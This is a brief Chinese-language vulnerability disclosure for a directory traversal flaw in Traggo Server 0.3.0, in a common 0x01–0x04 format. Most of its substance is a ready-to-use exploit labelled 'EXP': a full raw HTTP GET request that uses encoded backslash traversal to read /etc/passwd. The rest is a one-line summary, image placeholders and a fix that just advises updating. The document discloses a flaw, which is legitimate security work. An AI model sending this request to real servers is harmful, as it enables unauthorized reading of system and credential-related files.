0x01 前言

Traggo Server 0.3.0 容易受到精心设计的 GET 请求的目录遍历攻击。

0x02 影响平台

Traggo server 0.3.0

0x03 漏洞复现

640 (5)_副本

EXP:

GET /static/..%5c..%5c..%5c..%5cetc/passwd HTTP/1.1
Host: ip:port
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

640 (6)_副本

0x04 修复方案

建议及时更新至最新版本!